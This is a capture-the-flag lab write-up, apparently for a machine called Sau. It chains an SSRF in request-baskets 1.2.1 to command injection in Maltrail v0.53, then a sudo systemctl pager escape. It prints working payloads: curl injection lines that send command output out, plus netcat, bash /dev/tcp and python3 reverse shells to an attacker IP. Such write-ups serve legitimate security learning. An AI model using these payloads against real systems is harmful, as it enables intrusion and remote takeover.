Once I spun the machine, I checked if there was a webserver on ports 80 or 443. Tried to open machine IP in a browser to no effect.
Next step - nmap scan: nmap -vvv -A -Pn machine_ip
It revealed that ports 22 and 55555 are open, and it looked like there is some kind of web server on 55555 port. Opened it in a browser, and here we go: finally, some web app.
It appeared to be request-baskets, a web app for API testing & fine tuning. And the version of the app is 1.2.1. A little bit of googling revealed that there was a SSRF in request-baskets versions up to 1.2.1.
I found a POC for this vuln: https://gist.github.com/b33t1e/3079c10c88cad379fb166c389ce3b7b3 Here's the useful part:
[Attack Vectors]
POC: POST /api/baskets/{name} API with payload - {"forward_url": "http://127.0.0.1:80/test","proxy_response": false,"insecure_tls": false,"expand_path": true,"capacity": 250}
details can be seen: https://notes.sjtu.edu.cn/s/MUUhEymt7
When I poked around the app before, I noticed that if you hit the button with a gear you get a popup with basket settings, and the parameters there are the same:
Funny thing. Two things actually. Firstly, it works best if param "proxy_response" is set to true. Secondly, POC mentions POST, and burp catches PUT when I set params via this popup window.
Anyhow, now I had a presumably working SSRF, so at first I set Forward URL to point to 127.0.0.1:80 to check if there is some web app that is not accessible other then from the localhost.
And I got some ugly looking web page:
Let's stop for a second here and I will explain why I set proxy_response to true. After reading the docs for request-baskets, I got a general concept of what it is and how it's supposed to work. If you set a Forward URL, it catches your request in a basket and forwards it to the URL you set. And if you set Proxy response to true, when you request basket URL, not only will it forward your request to Forward URL, but it will show you response in the browser.
I figured that it would be easiest way to check if it works - just use the browser.
But let's get to the machine hacking workflow. So as you can see, service that inhibits port 80 on this machine is Maltrail v0.53. I checked changelog, and there it was:
OS command injection, just what we need to get a shell. I checked the closed Issue #19146 and found there a link with initial bug report & exploit POC: https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/
I needed to test if this actually works. I needed some way to test it, and first thing that occurred to me was to ping my machine. I launched tcpdump and tried to ping my machine, which it did. So exploit works. Then I decided to do some enumeration and an idea came to me: I could use the same basket to catch not only my requests, but also requests that I send from the machine using this RCE. So at first I used curl to make the machine to send data as GET params:
But that was ugly and not very convenient. After a few tests I upgraded the exploit to sent POST instead of GET:
curl -X POST --data 'username=;`curl -X POST http://10.10.11.224:55555/zsv7bph --data "$(whoami)"`' http://10.10.11.224:55555/zsv7bph
And finally found the user flag:
Now I needed to get my hands on the root flag. And to do that I needed to get a foothold in the system and escalate privileges.
Firstly, I tested if I can write to /home/puma/.ssh
and I found that I actually can do that. So I created /home/puma/.ssh/authorized_keys
with my kali machine pubkey only to find out that I can’t use it. I looked on /etc/ssh/sshd_config
only to find that authentication via SSH keys is turned off. My reaction was like
So I tried different fancy shell scripts to no effect, until this one finally worked:
curl -X POST --data 'username=;`nc 10.10.14.33 4545 | /bin/bash | nc 10.10.14.33 4646`' http://10.10.11.224:55555/jdg4neo
It's a very basic shell, it actually uses two netcat listeners, first one is used to send commands, second catches the response. Way better then reading response from logged POST requests, but still not a proper shell.
Then I used this netcat-based crude shell to spawn a better one:
/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.33/9999 0>&1'
It looked like a decent shell, but didn't interact with password and pagers, which was the reason for some wasted time. I enumerated the system and found that user has a NO-PASSWORD sudo. I ran sudo -l
and here's what it got me:
Matching Defaults entries for puma on sau:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
I googled for privilege escalation based on this setting and found this: https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-systemctl-privilege-escalation/
After some research I found that supposedly if I run:
sudo /usr/bin/systemctl status trail.service
It should return the output not in console, but in less
, a pager tool that can spawn a console. But it didn't! It took some time & more research before I thought of trying the other shell. This time I used python3-based shell script:
export RHOST="10.10.14.33";export RPORT=9999;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
And it finally worked!
It was actually a very interesting machine, I learned a lot. Main conclusion: if something doesn't work as it supposed to, double check all steps and try different shell scripts.